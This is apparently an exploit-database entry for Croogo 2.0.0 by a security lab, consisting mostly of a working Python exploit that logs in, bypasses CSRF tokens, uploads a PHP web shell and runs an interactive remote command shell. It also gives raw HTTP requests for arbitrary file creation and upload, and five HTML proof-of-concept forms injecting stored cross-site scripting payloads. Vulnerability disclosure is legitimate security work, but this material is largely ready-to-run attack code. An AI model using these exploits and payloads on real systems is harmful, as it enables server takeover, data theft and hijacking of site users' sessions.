Croogo 2.0.0 Arbitrary PHP Code Execution / Cross Site Scripting Vulnerabilities

#!/usr/bin/env python

#

# Croogo 2.0.0 Arbitrary PHP Code Execution Exploit

#

# Vendor: Fahad Ibnay Heylaal

# Product web page: http://www.croogo.org

# Affected version: 2.0.0

#

# Summary: Croogo is a free, open source, content management system

# for PHP, released under The MIT License. It is powered by CakePHP

# MVC framework.

#

# Desc: Croogo suffers from an authenticated arbitrary PHP code

# execution. The vulnerability is caused due to the improper

# verification of uploaded files in '/admin/file_manager/attachments/add'

# script thru the 'data[Attachment][file]' POST parameter and in

# '/admin/file_manager/file_manager/upload' script thru the

# 'data[FileManager][file]' POST parameter. This can be exploited

# to execute arbitrary PHP code by uploading a malicious PHP script

# file that will be stored in '/webroot/uploads/' directory.

#

# Tested on: Apache/2.4.7 (Win32)

# PHP/5.5.6

# MySQL 5.6.14

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

#

# Zero Science Lab - http://www.zeroscience.mk

# Macedonian Information Security Research And Development Laboratory

#

# Advisory ID: ZSL-2014-5202

# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5202.php

#

# Vendor: http://blog.croogo.org/blog/croogo-210-released

#

# 26.07.2014

#

version = '5.0.0.251'

import itertools, mimetools, mimetypes

import cookielib, urllib, urllib2, sys

import logging, os, time, datetime, re

from colorama import Fore, Back, Style, init

from cStringIO import StringIO

from urllib2 import URLError

init()

if os.name == 'posix': os.system('clear')

if os.name == 'nt': os.system('cls')

piton = os.path.basename(sys.argv[0])

def bannerche():

print '''

@---------------------------------------------------------------@

|                                                               |

| Croogo 2.0.0 Arbitrary PHP Code Execution Exploit |

|                                                               |

|                                                               |

| ID: ZSL-2014-5202 |

|                                                               |

|                                                               |

@---------------------------------------------------------------@

'''

if len(sys.argv) < 3:

print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'

print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk croogo\n'

sys.exit()

bannerche()

print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET

host = sys.argv[1]

path = sys.argv[2]

cj = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

try:

getcsrf = opener.open('http://'+host+'/'+path+'/admin/users/users/login')

csrf = getcsrf.read()

except urllib2.HTTPError, errorzio:

if errorzio.code == 404:

print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET

print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET

print

sys.exit()

except URLError, errorziocvaj:

if errorziocvaj.reason:

print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET

print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET

print

sys.exit()

print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET

token_key = re.search(r'\[key\]\" value=\"(.+?)\"', csrf).group(1)

print '\x20\x20[*] Retrieving login CSRF token '+'.'*27+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Login CSRF token: '+Fore.YELLOW+token_key+Fore.RESET

print '\x20\x20[*] Login please.'

username = raw_input('\x20\x20[*] Enter username: ')

password = raw_input('\x20\x20[*] Enter password: ')

login_data = urllib.urlencode({

'_method' : 'POST',

'data[User][password]' : password,

'data[User][remember]' : '0',

'data[User][username]' : username,

'data[_Token][fields]' : '93365ba06ce101995d3cd9c79cce968b12fb6ee5:',

'data[_Token][key]' : token_key,

'data[_Token][unlocked]' : ''

})

login = opener.open('http://'+host+'/'+path+'/admin/users/users/login', login_data)

auth = login.read()

for session in cj:

sessid = session.name

print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

ses_chk = re.search(r'%s=\w+' % sessid , str(cj))

cookie = ses_chk.group(0)

print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET

if re.search(r'Incorrect username or password', auth):

print '\x20\x20[*] Incorrect username or password '+'.'*24+Fore.RED+'[ER]'+Fore.RESET

print

sys.exit()

else:

print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET

getcsrfattach = opener.open('http://'+host+'/'+path+'/admin/file_manager/attachments/add')

csrfattach = getcsrfattach.read()

token_key2 = re.search(r'\[key\]\" value=\"(.+?)\"', csrfattach).group(1)

print '\x20\x20[*] Retrieving upload CSRF token '+'.'*26+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Upload CSRF token: '+Fore.YELLOW+token_key2+Fore.RESET

class MultiPartForm(object):

def __init__(self):

self.form_fields = []

self.files = []

self.boundary = mimetools.choose_boundary()

return

def get_content_type(self):

return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):

self.form_fields.append((name, value))

return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):

body = fileHandle.read()

if mimetype is None:

mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'

self.files.append((fieldname, filename, mimetype, body))

return

def __str__(self):

parts = []

part_boundary = '--' + self.boundary

parts.extend(

[ part_boundary,

'Content-Disposition: form-data; name="%s"' % name,

'',

value,

]

for name, value in self.form_fields

)

parts.extend(

[ part_boundary,

'Content-Disposition: file; name="%s"; filename="%s"' % \

(field_name, filename),

'Content-Type: %s' % content_type,

'',

body,

]

for field_name, filename, content_type, body in self.files

)

flattened = list(itertools.chain(*parts))

flattened.append('--' + self.boundary + '--')

flattened.append('')

return '\r\n'.join(flattened)

if __name__ == '__main__':

form = MultiPartForm()

form.add_field('_method', 'POST')

form.add_field('data[_Token][key]', token_key2)

form.add_field('data[_Token][fields]', 'c0c3f5d102d9672429f5c571a5f45c34255a93a9%3A')

form.add_field('data[_Token][unlocked]', '')

form.add_file('data[Attachment][file]', 'zsl.php',

fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))

request = urllib2.Request('http://'+host+'/'+path+'/admin/file_manager/attachments/add')

request.add_header('User-agent', 'joxypoxy 5.0')

body = str(form)

request.add_header('Content-type', form.get_content_type())

request.add_header('Cookie', cookie)

request.add_header('Content-length', len(body))

request.add_data(body)

request.get_data()

urllib2.urlopen(request).read()

print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET

time.sleep(1)

furl = '/uploads/zsl.php'

#furl = '/webroot/uploads/zsl.php'

print

today = datetime.date.today()

fname = 'croogo-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'

logging.basicConfig(filename=fname,level=logging.DEBUG)

logging.info(' '+'+'*75)

logging.info(' +')

logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))

logging.info(' + Title: Croogo 2.0.0 Arbitrary PHP Code Execution Exploit')

logging.info(' + Python program executed: '+sys.argv[0])

logging.info(' + Version: '+version)

logging.info(' + Full query: \''+piton+'\x20'+host+'\'')

logging.info(' + Username input: '+username)

logging.info(' + Password input: '+password)

logging.info(' + Vector: '+'http://'+host+'/'+path+furl)

logging.info(' +')

logging.info(' + Advisory ID: ZSL-2014-5202')

logging.info(' + Zero Science Lab - http://www.zeroscience.mk')

logging.info(' +')

logging.info(' '+'+'*75+'\n')

print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET

raw_input()

while True:

try:

cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)

execute = opener.open('http://'+host+'/'+path+furl+'?cmd='+urllib.quote(cmd))

reverse = execute.read()

pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)

print Style.BRIGHT+Fore.CYAN

cmdout = pattern.match(reverse)

print cmdout.groups()[0].strip()

print Style.RESET_ALL+Fore.RESET

if cmd.strip() == 'exit':

break

logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')

except Exception:

break

logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')

print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET

print

sys.exit()

#

## OTHER ##

#

# Arbitrary file creation any location:

#

# - http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A\xampp\htdocs\croogo\

#

# Arbitrary file upload any location:

# - http://localhost/croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5C

#

###########

#

# POST /croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1

# Host: localhost

# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

# Accept-Language: en-US,en;q=0.5

# Accept-Encoding: gzip, deflate

# Referer: http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C

# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84

# Connection: keep-alive

# Content-Type: application/x-www-form-urlencoded

# Content-Length: 229

#

# _method=POST&data%5B_Token%5D%5Bkey%5D=4f20867747cbff33951db804266494804e96bf89&data%5BFileManager%5D%5Bname%5D=shell2.php&data%5B_Token%5D%5Bfields%5D=4aeda1af05803a2ae8503d6033160c17d6335641%253A&data%5B_Token%5D%5Bunlocked%5D=

#

###########

#

# POST /croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php HTTP/1.1

# Host: localhost

# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

# Accept-Language: en-US,en;q=0.5

# Accept-Encoding: gzip, deflate

# Referer: http://localhost/croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php

# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84

# Connection: keep-alive

# Content-Type: application/x-www-form-urlencoded

# Content-Length: 304

#

# _method=POST&data%5B_Token%5D%5Bkey%5D=5a6516e263eb6e5504e2266783b42cd08e3efe16&data%5BFileManager%5D%5Bcontent%5D=test%0D%0A%3C%3Fphp%0D%0Apassthru%28%24_GET%5B%27cmd%27%5D%29%3B%0D%0A%3F%3E%0D%0A&data%5B_Token%5D%5Bfields%5D=8f1bb3e7acda642ca69ee0430abba1f5ecd5f7a7%253A&data%5B_Token%5D%5Bunlocked%5D=

#

###########

#

# POST /croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1

# Host: localhost

# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

# Accept-Language: en-US,en;q=0.5

# Accept-Encoding: gzip, deflate

# Referer: http://localhost/croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C

# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84

# Connection: keep-alive

# Content-Type: multipart/form-data; boundary=---------------------------25555888422431

# Content-Length: 779

#

# -----------------------------25555888422431

# Content-Disposition: form-data; name="_method"

#

# POST

# -----------------------------25555888422431

# Content-Disposition: form-data; name="data[_Token][key]"

#

# 0d940d3b3f4c80ea98b3e5588c337587f7c50d5e

# -----------------------------25555888422431

# Content-Disposition: form-data; name="data[FileManager][file]"; filename="exploit.php"

# Content-Type: application/octet-stream

#

# test

# <?php

# passthru($_GET['cmd']);

# ?>

#

# -----------------------------25555888422431

# Content-Disposition: form-data; name="data[_Token][fields]"

#

# 6f3f788048d33beefcc340fe281cf758e20ad329%3A

# -----------------------------25555888422431

# Content-Disposition: form-data; name="data[_Token][unlocked]"

#

# -----------------------------25555888422431--

#

<<<

Croogo 2.0.0 Multiple Stored XSS Vulnerabilities

Vendor: Fahad Ibnay Heylaal

Product web page: http://www.croogo.org

Affected version: 2.0.0

Summary: Croogo is a free, open source, content management system

for PHP, released under The MIT License. It is powered by CakePHP

MVC framework.

Desc: Croogo version 2.0.0 suffers from multiple stored cross-site

scripting vulnerabilities. Input passed to several POST parameters

is not properly sanitised before being returned to the user. This

can be exploited to execute arbitrary HTML and script code in a

user's browser session in context of an affected site.

Tested on: Apache/2.4.7 (Win32)

PHP/5.5.6

MySQL 5.6.14

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Zero Science Lab - http://www.zeroscience.mk

Macedonian Information Security Research And Development Laboratory

Advisory ID: ZSL-2014-5201

Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php

Vendor: http://blog.croogo.org/blog/croogo-210-released

26.07.2014

>>>

------------------------

(XSS #1)

--------

POST parameters:

- data[Contact][title]

------------------------

<html>

<body>

<form action="http://localhost/croogo/admin/contacts/contacts/add" method="POST">

<input type="hidden" name="_method" value="POST" />

<input type="hidden" name="data[_Token][key]" value="2627e9e204ad6b878dbaf1c08d830c3e744d7e6e" />

<input type="hidden" name="data[Contact][id]" value="" />

<input type="hidden" name="data[Contact][title]" value=""><script>alert("XSS");</script>" />

<input type="hidden" name="data[Contact][alias]" value="test" />

<input type="hidden" name="data[Contact][email]" value="a@a.com" />

<input type="hidden" name="data[Contact][body]" value="" />

<input type="hidden" name="data[Contact][name]" value="" />

<input type="hidden" name="data[Contact][position]" value="" />

<input type="hidden" name="data[Contact][address]" value="" />

<input type="hidden" name="data[Contact][address2]" value="" />

<input type="hidden" name="data[Contact][state]" value="" />

<input type="hidden" name="data[Contact][country]" value="" />

<input type="hidden" name="data[Contact][postcode]" value="" />

<input type="hidden" name="data[Contact][phone]" value="" />

<input type="hidden" name="data[Contact][fax]" value="" />

<input type="hidden" name="data[Contact][message_status]" value="0" />

<input type="hidden" name="data[Contact][message_archive]" value="0" />

<input type="hidden" name="data[Contact][message_notify]" value="0" />

<input type="hidden" name="data[Contact][message_spam_protection]" value="0" />

<input type="hidden" name="data[Contact][message_captcha]" value="0" />

<input type="hidden" name="data[Contact][status]" value="0" />

<input type="hidden" name="data[_Token][fields]" value="262e37f00fdd538ab98d168114e8befb72ba27ff%3AContact.id" />

<input type="hidden" name="data[_Token][unlocked]" value="apply" />

<input type="submit" value="Submit form" />

</form>

</body>

</html>

------------------------

(XSS #2)

--------

POST/PUT parameters:

- data[Block][title]

- data[Block][alias]

------------------------

<html>

<body>

<form action="http://localhost/croogo/admin/blocks/blocks/edit/10" method="POST">

<input type="hidden" name="_method" value="PUT" />

<input type="hidden" name="data[_Token][key]" value="bb5e47ab63281908e9783d9a20f66b7f56c573f3" />

<input type="hidden" name="data[Block][id]" value="10" />

<input type="hidden" name="data[Block][title]" value=""><script>alert(2);</script>" />

<input type="hidden" name="data[Block][alias]" value=""><script>alert(3);</script>" />

<input type="hidden" name="data[Block][region_id]" value="3" />

<input type="hidden" name="data[Block][body]" value="1" />

<input type="hidden" name="data[Block][class]" value="1" />

<input type="hidden" name="data[Block][element]" value="1" />

<input type="hidden" name="data[Role][Role]" value="" />

<input type="hidden" name="data[Block][visibility_paths]" value="" />

<input type="hidden" name="data[Block][params]" value="1" />

<input type="hidden" name="data[Block][status]" value="1" />

<input type="hidden" name="data[Block][show_title]" value="0" />

<input type="hidden" name="data[Block][show_title]" value="1" />

<input type="hidden" name="data[Block][publish_start]" value="0000-00-00 00:00:00" />

<input type="hidden" name="data[Block][publish_end]" value="0000-00-00 00:00:00" />

<input type="hidden" name="data[_Token][fields]" value="546f4a46648b8b32ea4c2b43a4a118ea7087e21b%3ABlock.id" />

<input type="hidden" name="data[_Token][unlocked]" value="apply" />

<input type="submit" value="Submit form" />

</form>

</body>

</html>

------------------------

(XSS #3)

--------

POST parameters:

- data[Region][title]

------------------------

<html>

<body>

<form action="http://localhost/croogo/admin/blocks/regions/add" method="POST">

<input type="hidden" name="_method" value="POST" />

<input type="hidden" name="data[_Token][key]" value="a7d62c8c34e2a6414c3657c43790645dfdd63735" />

<input type="hidden" name="data[Region][id]" value="" />

<input type="hidden" name="data[Region][title]" value=""><script>alert(11);</script>" />

<input type="hidden" name="data[Region][alias]" value="1" />

<input type="hidden" name="data[_Token][fields]" value="4020bcbfbf5ba648b159ec8a4e166f53c1b58aa4%3ARegion.id" />

<input type="hidden" name="data[_Token][unlocked]" value="apply" />

<input type="submit" value="Submit form" />

</form>

</body>

</html>

------------------------

(XSS #4)

--------

POST parameters:

- data[Menu][title]

- data[Menu][alias]

------------------------

<html>

<body>

<form action="http://localhost/croogo/admin/menus/menus/add" method="POST">

<input type="hidden" name="_method" value="POST" />

<input type="hidden" name="data[_Token][key]" value="253c5c67942b2d126c886c9ac7a62ebf065cf42b" />

<input type="hidden" name="data[Menu][id]" value="" />

<input type="hidden" name="data[Menu][title]" value=""><script>alert(22);</script>" />

<input type="hidden" name="data[Menu][alias]" value=""><script>alert(33);</script>" />

<input type="hidden" name="data[Menu][description]" value="ZSL" />

<input type="hidden" name="data[Menu][params]" value="1" />

<input type="hidden" name="data[Menu][status]" value="1" />

<input type="hidden" name="data[Menu][publish_start]" value="1" />

<input type="hidden" name="data[Menu][publish_end]" value="1" />

<input type="hidden" name="data[_Token][fields]" value="58685dc7a49f7617cffaa3a00ec4245516c5f9d3%3AMenu.id" />

<input type="hidden" name="data[_Token][unlocked]" value="apply" />

<input type="submit" value="Submit form" />

</form>

</body>

</html>

------------------------

(XSS #5)

--------

POST parameters:

- data[Link][title]

------------------------

<html>

<body>

<form action="http://localhost/croogo/admin/menus/links/add/menu:6" method="POST">

<input type="hidden" name="_method" value="POST" />

<input type="hidden" name="data[_Token][key]" value="736e7539497307010b8cb8e70c44ec8a9798d0fb" />

<input type="hidden" name="data[Link][id]" value="" />

<input type="hidden" name="data[Link][menu_id]" value="6" />

<input type="hidden" name="data[Link][parent_id]" value="" />

<input type="hidden" name="data[Link][title]" value=""><script>alert(1);</script>" />

<input type="hidden" name="data[Link][link]" value="1" />

<input type="hidden" name="data[Role][Role]" value="" />

<input type="hidden" name="data[Link][class]" value="scriptalert1script" />

<input type="hidden" name="data[Link][description]" value="" />

<input type="hidden" name="data[Link][rel]" value="" />

<input type="hidden" name="data[Link][target]" value="" />

<input type="hidden" name="data[Link][params]" value="" />

<input type="hidden" name="data[Link][status]" value="0" />

<input type="hidden" name="data[Link][publish_start]" value="" />

<input type="hidden" name="data[Link][publish_end]" value="" />

<input type="hidden" name="data[_Token][fields]" value="d662745abb348c763337f58c8c3c28bb1e8c014f%3ALink.id" />

<input type="hidden" name="data[_Token][unlocked]" value="apply" />

<input type="submit" value="Submit form" />

</form>

</body>

</html>

EKU-ID: 4299	CVE:	OSVDB-ID:
Author: LiquidWorm	Published: 2014-10-14	Verified:
Download:

Croogo 2.0.0 Arbitrary PHP Code Execution / Cross Site Scripting Vulnerabilities

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